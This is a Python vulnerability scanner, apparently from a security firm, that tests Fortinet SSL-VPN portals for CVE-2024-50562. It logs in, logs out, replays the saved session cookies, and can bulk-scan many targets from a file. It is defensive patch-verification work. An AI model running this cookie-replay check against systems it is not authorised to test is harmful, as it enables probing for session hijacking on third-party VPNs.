README.md
Rendering markdown...
#!/usr/bin/env python3
"""
fortinet_reuse_check.py
──────────────────────────────────────────────────────────────────────────────
Professional scanner for CVE-2024-50562 – Fortinet SSL-VPN session reuse
vulnerability (FG-IR-24-339). The tool:
1. Logs in with supplied credentials
2. Saves session cookies
3. Logs out
4. Re-uses saved cookies to verify whether the session is invalidated
Developed by: Bugb Security Team
Company: Bugb Technologies Pvt. Ltd.
Website: https://bugb.io
It now supports full CLI input:
- `--username/-u` VPN username (REQUIRED)
- `--password/-p` VPN password (REQUIRED)
- `--realm/-r` Fortinet realm (optional)
- `--target/-t` Host[:port] pair (repeatable, default port 443)
- `--file/-f` File of Host[:port] pairs (one per line, # = comment)
- `--output/-o` CSV path for results (default: fortinet_reuse_results.csv)
Examples
────────
# Single target on default port 443
python3 fortinet-cve-2024-50562.py -u alice -p hunter2 -t 192.0.12.8
# Several explicit targets
python3 fortinet-cve-2024-50562.py -u bob -p S3cre7 \
-t 192.0.2.11:4433 -t 192.0.2.8:15333
# Bulk scan from file plus one extra target
python3 fortinet-cve-2024-50562.py -u bob -p 'S3cre7' \
-f targets.txt -t 192.0.2.8
"""
import argparse
import csv
import json
import re
import sys
from pathlib import Path
from typing import Dict, List, Tuple
import requests
import urllib3
# ──────────────────────── STATIC SETTINGS ────────────────────────────────────
TIMEOUT: int = 10
PORTAL_PATH: str = "/sslvpn/portal.html" # endpoint requiring auth
DEBUG_BODY: bool = False # dump bodies on unexpected 200s
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ───────────────────────── HELPERS ───────────────────────────────────────────
def pretty_json(data: Dict[str, str]) -> str:
return json.dumps(data, separators=(",", ":"))
def verdict_from_body(body: str) -> str:
"""Return 'INVALIDATED' if we are pushed back to login; else 'REUSED'."""
if re.search(r"/remote/login|name=[\"']username[\"']", body, re.I):
return "INVALIDATED"
return "REUSED"
def print_header() -> None:
print("=" * 80)
print("CVE-2024-50562 Scanner - Fortinet SSL-VPN Session Management Vulnerability")
print("=" * 80)
print("Testing for insufficient session expiration in FortiOS SSL-VPN portals")
print("Reference: FG-IR-24-339 | CVSS: 4.4 (Medium)")
print("=" * 80)
def print_target_header(host: str, port: int, current: int, total: int) -> None:
print(f"\n[{current}/{total}] TARGET: {host}:{port}")
print("-" * 50)
def log_step(step: str, status: str, details: str = "") -> None:
symbols = {
"SUCCESS": "[+]", "FAILED": "[-]", "WARNING": "[!]",
"INFO": "[*]", "VULNERABLE": "[VULN]", "SECURE": "[SAFE]"
}
symbol = symbols.get(status, "[?]")
msg = f"{symbol} {step}"
if details:
msg += f" - {details}"
print(f" {msg}")
def analyze_cookies(c_before: dict, c_after: dict) -> str:
if not c_before:
return "No session cookies received"
analysis: List[str] = []
for ck in ("SVPNCOOKIE", "SVPNTMPCOOKIE"):
if ck in c_before and ck not in c_after:
analysis.append(f"{ck} properly invalidated")
elif ck in c_before:
analysis.append(f"{ck} persists after logout")
return " | ".join(analysis) if analysis else "No session cookies found"
def load_targets(singles: List[str], file_path: str | None) -> List[Tuple[str, int]]:
"""Return list of (host, port) tuples from CLI."""
targets: List[Tuple[str, int]] = []
# single -t entries
for item in singles:
host, *port = item.split(":")
targets.append((host.strip(), int(port[0]) if port else 443))
# file entries
if file_path:
for line in Path(file_path).read_text().splitlines():
line = line.split("#", 1)[0].strip() # allow comments
if not line:
continue
host, *port = line.split(":")
targets.append((host.strip(), int(port[0]) if port else 443))
if not targets:
raise SystemExit("[!] No targets supplied – use --target or --file")
return targets
# ───────────────────────── CORE TEST ─────────────────────────────────────────
def test_target(host: str, port: int,
username: str, password: str, realm: str,
current: int, total: int) -> Tuple:
base = f"https://{host}:{port}"
print_target_header(host, port, current, total)
sess = requests.Session()
sess.verify = False
try:
# 1. Portal connect
log_step("Connecting to SSL-VPN portal", "INFO")
sess.get(f"{base}/remote/login", params={"lang": "en"}, timeout=TIMEOUT)
log_step("Portal connection", "SUCCESS")
# 2. Auth
log_step("Authenticating", "INFO", f"user={username}")
r_login = sess.post(
f"{base}/remote/logincheck",
data={"ajax": "1", "username": username,
"realm": realm, "credential": password},
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=TIMEOUT
)
body_login = r_login.text
cookies_login = requests.utils.dict_from_cookiejar(r_login.cookies)
ret_login = re.search(r"\bret=(\d+)", body_login)
success = ret_login and ret_login.group(1) == "1" and "/remote/hostcheck_install" in body_login
if not success:
log_step("Authentication", "FAILED", "Invalid credentials or MFA")
return host, port, False, "auth-failed", cookies_login, {}, {}, "UNTESTABLE"
log_step("Authentication", "SUCCESS")
# Cookie info
if cookies_login:
log_step("Session cookies received", "INFO",
", ".join(cookies_login.keys()))
# 3. Logout
log_step("Initiating logout", "INFO")
r_logout = sess.get(f"{base}/remote/logout", timeout=TIMEOUT)
cookies_logout = requests.utils.dict_from_cookiejar(r_logout.cookies)
log_step("Logout completed", "SUCCESS")
# Cookie invalidation
log_step("Cookie invalidation", "INFO",
analyze_cookies(cookies_login, cookies_logout))
# 4. Re-use cookies
log_step("Testing cookie reuse", "INFO",
"Creating new session with old cookies")
reuse = requests.Session()
reuse.verify = False
reuse.cookies.update(cookies_login)
r_reuse = reuse.get(f"{base}{PORTAL_PATH}", timeout=TIMEOUT)
verdict = verdict_from_body(r_reuse.text)
cookies_reuse = requests.utils.dict_from_cookiejar(reuse.cookies)
# 5. Verdict
if verdict == "REUSED":
log_step("VULNERABILITY DETECTED", "VULNERABLE",
"Session remains active after logout")
log_step("CVE-2024-50562", "VULNERABLE",
"System requires immediate patching")
else:
log_step("Session properly invalidated", "SECURE",
"No vulnerability detected")
log_step("CVE-2024-50562", "SECURE",
"System appears patched or not vulnerable")
return host, port, True, verdict, cookies_login, cookies_logout, cookies_reuse, verdict
except requests.Timeout:
log_step("Connection", "FAILED", "Timeout")
return host, port, False, "timeout", {}, {}, {}, "ERROR"
except requests.ConnectionError:
log_step("Connection", "FAILED", "Connection refused")
return host, port, False, "connection-error", {}, {}, {}, "ERROR"
except Exception as e:
log_step("Test execution", "FAILED", f"{e.__class__.__name__}: {str(e)[:50]}")
return host, port, False, f"error:{e.__class__.__name__}", {}, {}, {}, "ERROR"
# ─────────────────────────── CLI / MAIN ──────────────────────────────────────
def main() -> None:
parser = argparse.ArgumentParser(
prog="fortinet_reuse_check.py",
description="Scanner for CVE-2024-50562 – Fortinet SSL-VPN session "
"management vulnerability."
)
parser.add_argument("-u", "--username", required=True, help="VPN username")
parser.add_argument("-p", "--password", required=True, help="VPN password")
parser.add_argument("-r", "--realm", default="", help="Realm (optional)")
parser.add_argument("-t", "--target", action="append",
help="Target in HOST[:PORT] form (repeatable)")
parser.add_argument("-f", "--file",
help="File with HOST[:PORT] lines (blank & # comments ok)")
parser.add_argument("-o", "--output", default="fortinet_reuse_results.csv",
help="CSV output path (default: %(default)s)")
args = parser.parse_args()
targets: List[Tuple[str, int]] = load_targets(args.target or [], args.file)
print_header()
results: List[Tuple] = []
stats = {"vulnerable": 0, "secure": 0, "untestable": 0, "errors": 0}
for idx, (host, port) in enumerate(targets, 1):
try:
res = test_target(
host, port,
username=args.username,
password=args.password,
realm=args.realm,
current=idx, total=len(targets)
)
results.append(res)
# tally
if res[3] == "REUSED":
stats["vulnerable"] += 1
elif res[3] == "INVALIDATED":
stats["secure"] += 1
elif res[3] == "auth-failed":
stats["untestable"] += 1
else:
stats["errors"] += 1
except KeyboardInterrupt:
print("\n[!] Scan interrupted by user")
break
# Summary
print("\n" + "=" * 80)
print("SCAN SUMMARY")
print("=" * 80)
total = len(results)
print(f"Targets scanned: {total}")
print(f"Vulnerable to CVE-2024-50562: {stats['vulnerable']}")
print(f"Secure/Patched: {stats['secure']}")
print(f"Authentication failed: {stats['untestable']}")
print(f"Connection/Other errors: {stats['errors']}")
if stats["vulnerable"]:
print(f"\n[CRITICAL] {stats['vulnerable']} system(s) vulnerable to session hijacking")
print("[ACTION] Immediate patching required:")
print(" - FortiOS 7.6.x: Upgrade to 7.6.1+")
print(" - FortiOS 7.4.x: Upgrade to 7.4.8+")
print(" - FortiOS 7.2.x: Upgrade to 7.2.11+")
print(" - FortiOS 7.0.x/6.4.x: Migrate to supported version")
print("\nVulnerable systems:")
for r in results:
if r[3] == "REUSED":
print(f" - {r[0]}:{r[1]}")
else:
print("\n[GOOD] No vulnerable systems detected")
if stats["secure"]:
print(f"[INFO] {stats['secure']} system(s) properly invalidate sessions")
# CSV Export
try:
with open(args.output, "w", newline="") as fh:
wr = csv.writer(fh)
wr.writerow(["ip", "port", "login_success", "vulnerability_status",
"cookies_login", "cookies_logout",
"cookies_reused", "summary"])
for row in results:
wr.writerow([
row[0], row[1], row[2], row[3],
pretty_json(row[4]), pretty_json(row[5]),
pretty_json(row[6]), row[7]
])
print(f"\n[+] Detailed results exported to: {args.output}")
except Exception as e:
print(f"[!] Failed to export results: {e}")
# ─────────────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Scan terminated by user")
sys.exit(1)